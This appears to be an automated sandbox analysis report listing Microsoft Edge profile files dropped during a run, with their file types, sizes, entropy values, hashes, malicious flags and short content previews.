File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl+lt:Ls3at
MD5:	510499303DA73921BE4963C54A9A1736
SHA1:	6A86428FA012A46BD8B5FEB4F7A36464785F172A
SHA-256:	A9B1D31C12704C1502FDC497CCCACBD41F3FBF589D5FE559E460074ADE82C074
SHA-512:	077C037DE4F89BA273315DE696503B0AA884D0426D4BAC7CC5BA631C5BEE3B6FDDB4E8FBC776B380280A68B7F8D78B8B542B79BA429D3799F42F10B384824698
Malicious:	false
Preview:	..........................................o../.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.196412080552919
Encrypted:	false
SSDEEP:	6:8QB1wkn23oH+TcwtnG2tbB2KLlmaQq2Pwkn23oH+TcwtnG2tMsIFUv:UfYebn9VFL8VvYfYebn9GFUv
MD5:	EA2C1E728970F75DA8CCADB47EE5570D
SHA1:	B8CE51BD5246C0A00A347D4299FE0DA5542BAB23
SHA-256:	21E19B2FE71933F830A0A0D4C61453C25E1EE72564D7C6B1086D929912A2C7D3
SHA-512:	01B9B7044A519CE4373220CBFC4210B1B54F310D61E4C1FA25CB2895090061A9E11303B81EECE4A09CBCBE0D43E51C8BC08675BDF2B797BA59F0DACE67C64D82
Malicious:	false
Preview:	2024/08/31-23:09:34.432 520 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db since it was missing..2024/08/31-23:09:35.042 520 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 14, database pages 8, cookie 0xe, schema 4, UTF-8, version-valid-for 14
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.494709561094235
Encrypted:	false
SSDEEP:	24:TLEC30OIcqIn2o0FUFlA2cs0US5S693Xlej2:ThLaJUnAg0UB6I
MD5:	CF7760533536E2AF66EA68BC3561B74D
SHA1:	E991DE2EA8F42AE7E0A96A3B3B8AF87A689C8CCD
SHA-256:	E1F183FAE5652BA52F5363A7E28BF62B53E7781314C9AB76B5708AF9918BE066
SHA-512:	38B15FE7503F6DFF9D39BC74AA0150A7FF038029F973BE9A37456CDE6807BCBDEAB06E624331C8DFDABE95A5973B0EE26A391DB2587E614A37ADD50046470162
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...i............t...c................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5094712832659277
Encrypted:	false
SSDEEP:	12:TLW4QpRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7me5q4iZ7dV:TLqpR+DDNzWjJ0npnyXKUO8+j25XmL
MD5:	D4971855DD087E30FC14DF1535B556B9
SHA1:	9E00DEFC7E54C75163273184837B9D0263AA528C
SHA-256:	EC7414FF1DB052E8E0E359801F863969866F19228F3D5C64F632D991C923F0D2
SHA-512:	ACA411D7819B03EF9C9ACA292D91B1258238DF229B4E165A032DB645E66BFE1148FF3DCFDAC3126FCD34DBD0892F420148E280D9716C63AD9FCDD9E7CA58D71D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	281
Entropy (8bit):	5.198226156096728
Encrypted:	false
SSDEEP:	6:GdcRq1wkn23oH+Tcwt8aVdg2KLlmLT+q2Pwkn23oH+Tcwt8aPrqIFUv:5bfYeb0L8LqvYfYebL3FUv
MD5:	9C671172888EEF107003C6018F2AC59B
SHA1:	47B678938C6FCD548D3E860533C15D16B260AAE8
SHA-256:	121CF53EF05271962BD6E93BE14918216713B30C14BFA95BE5980828919C576A
SHA-512:	9412976C6C417F4D2DD4D9F53E4BC62F191663D5B2C0425CE7ACFF12E351BFB1D6B5F67A146A47B672261CE2210340DF0BF5E6027BA291BFEB206C1B8DA01440
Malicious:	false
Preview:	2024/08/31-23:09:34.447 1218 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules since it was missing..2024/08/31-23:09:35.095 1218 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	3:FQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlXNQxlX:qTCTCTCTCTCTCTCTCTCTCT
MD5:	478D49D9CCB25AC14589F834EA70FB9E
SHA1:	5D30E87D66E279F8815AFFE4C691AAF1D577A21E
SHA-256:	BB6CC6DF54CF476D95409032C79E065F4E10D512E73F7E16018E550456F753D5
SHA-512:	FB5431054A23D3C532568B1F150873D9130DBC4A88BE19BC2A4907D0DC2888C5B55993154EAD4A6C466E2173092B8705684A6802B850F051639E1F2457387471
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.166378032447807
Encrypted:	false
SSDEEP:	6:UHYRq1wkn23oH+Tcwt86FB2KLlmv+q2Pwkn23oH+Tcwt865IFUv:UHYbfYeb/FFL82vYfYeb/WFUv
MD5:	53A34C2831E8C5123A4952E5CC1949A7
SHA1:	9B9792CB45E8CFDB6EEAED564B162A7FC53C857D
SHA-256:	A404379AB5AF1BCDBB3FCB346CDB667BB8A9D8FBD7542689066AFADC14B41056
SHA-512:	195EC4B30710090F299861246407443BDA0FF3164FA02F9A997E39CBB70B7004E9E5D27C692BF57E2250CC2EA6D78EA30D34E33831D31F60AFAF5D33A47901A5
Malicious:	false
Preview:	2024/08/31-23:09:35.099 1218 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts since it was missing..2024/08/31-23:09:35.118 1218 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW:
MD5:	A2A3B1383E3AAC2430F44FC7BF3E447E
SHA1:	B807210A1205126A107A5FE25F070D2879407AA4
SHA-256:	90685D4E050DA5B6E6F7A42A1EE21264A68F1734FD3BD4A0E044BB53791020A2
SHA-512:	396FAB9625A2FF396222DBC86A0E2CDE724C83F3130EE099F2872AED2F2F2ECE13B0853D635F589B70BD1B5E586C05A3231D68CAF9E46B6E2DAC105A10D0A1C8
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.160235738301949
Encrypted:	false
SSDEEP:	6:U8A+q2Pwkn23oH+Tcwt8NIFUt8V8QZmw+ViuEtVkwOwkn23oH+Tcwt8+eLJ:UcvYfYebpFUt8VN/+ViuY5JfYebqJ
MD5:	524E828217D09C55A57EF71B793C0282
SHA1:	E5A70E7425BCB9634D98A86FF175399C0B6A3A65
SHA-256:	A465F25476404CB3AC0C97EFA7190D83B18AB0465E28B1E3354733D0B9850DB8
SHA-512:	AE7483EED5C4F1BD2A25CC0EAEA4EDE7DFF3417E208638F345B0F3CB49031C756CCA8CE81F9B0ACD824BD55834BC5A1E1E5A18F764BE3DB7A54A758A9FF9FAAA
Malicious:	false
Preview:	2024/08/31-23:09:35.123 1218 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/08/31-23:09:35.123 1218 Recovering log #3.2024/08/31-23:09:35.124 1218 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	322
Entropy (8bit):	5.160235738301949
Encrypted:	false
SSDEEP:	6:U8A+q2Pwkn23oH+Tcwt8NIFUt8V8QZmw+ViuEtVkwOwkn23oH+Tcwt8+eLJ:UcvYfYebpFUt8VN/+ViuY5JfYebqJ
MD5:	524E828217D09C55A57EF71B793C0282
SHA1:	E5A70E7425BCB9634D98A86FF175399C0B6A3A65
SHA-256:	A465F25476404CB3AC0C97EFA7190D83B18AB0465E28B1E3354733D0B9850DB8
SHA-512:	AE7483EED5C4F1BD2A25CC0EAEA4EDE7DFF3417E208638F345B0F3CB49031C756CCA8CE81F9B0ACD824BD55834BC5A1E1E5A18F764BE3DB7A54A758A9FF9FAAA
Malicious:	false
Preview:	2024/08/31-23:09:35.123 1218 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/08/31-23:09:35.123 1218 Recovering log #3.2024/08/31-23:09:35.124 1218 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityComp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 1, cookie 0x1, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	0.3169096321222068
Encrypted:	false
SSDEEP:	3:lSWbNFl/sl+ltl4ltllOl83/XWEEabIDWzdWuAzTgdWj3FtFIU:l9bNFlEs1ok8fDEPDadUTgd81Z
MD5:	2554AD7847B0D04963FDAE908DB81074
SHA1:	F84ABD8D05D7B0DFB693485614ECF5204989B74A
SHA-256:	F6EF01E679B9096A7D8A0BD8151422543B51E65142119A9F3271F25F966E6C42
SHA-512:	13009172518387D77A67BBF86719527077BE9534D90CB06E7F34E1CCE7C40B49A185D892EE859A8BAFB69D5EBB6D667831A0FAFBA28AC1F44570C8B68F8C90A4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ExtensionActivityEdge

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 8, cookie 0x8, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.40981274649195937
Encrypted:	false
SSDEEP:	24:TL1WK3iOvwxwwweePKmJIOAdQBVA/kjo/TJZwJ9OV3WOT/5eQQ:Tmm+/9ZW943WOT/
MD5:	1A7F642FD4F71A656BE75B26B2D9ED79
SHA1:	51BBF587FB0CCC2D726DDB95C96757CC2854CFAD
SHA-256:	B96B6DDC10C29496069E16089DB0AB6911D7C13B82791868D583897C6D317977
SHA-512:	FD14EADCF5F7AB271BE6D8EF682977D1A0B5199A142E4AB353614F2F96AE9B49A6F35A19CC237489F297141994A4A16B580F88FAC44486FCB22C05B2F1C3F7D1
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j............M.....8...b..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	true
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 2, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.33890226319329847
Encrypted:	false
SSDEEP:	12:TLMfly7aoxrRGcAkSQdC6ae1//fxEjkE/RFL2iFV1eHFxOUwa5qgufTsZ75fOSI:TLYcjr0+Pdajk+FZH1W6UwccI5fBI
MD5:	971F4C153D386AC7ED39363C31E854FC
SHA1:	339841CA0088C9EABDE4AACC8567D2289CCB9544
SHA-256:	B6468DA6EC0EAE580B251692CFE24620D39412954421BBFDECB13EF21BE7BC88
SHA-512:	1A4DD0C2BE163AAB3B81D63DEB4A7DB6421612A6CF1A5685951F86B7D5A40B67FC6585B7E52AA0CC20FF47349F15DFF0C9038086E3A7C78AE0FFBEE6D8AA7F7E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.315762368188323
Encrypted:	false
SSDEEP:	12:USvYfYeb8rcHEZrELFUt8VYX/+VYF5JfYeb8rcHEZrEZSJ:U4YfYeb8nZrExg8VYkYXJfYeb8nZrEZe
MD5:	EAFB00155BEDF0906CA80CCA7448D247
SHA1:	95BB402AE2AC2FA2548C638AE1FB66559B026E1B
SHA-256:	73114CD143473B9D739411134511AE092C383B6BC238866D9C789ECC3C4A4306
SHA-512:	4E4093C2F0A56DEE7F925106E33F49879CA63A621A540880AA1B10666298A586AAE2ECCB36D375842991AA6ECFDD9DA5E9440823E8F3669E512973BDFC1C6EEE
Malicious:	false
Preview:	2024/08/31-23:09:35.668 1d58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/08/31-23:09:35.669 1d58 Recovering log #3.2024/08/31-23:09:35.669 1d58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.315762368188323
Encrypted:	false
SSDEEP:	12:USvYfYeb8rcHEZrELFUt8VYX/+VYF5JfYeb8rcHEZrEZSJ:U4YfYeb8nZrExg8VYkYXJfYeb8nZrEZe
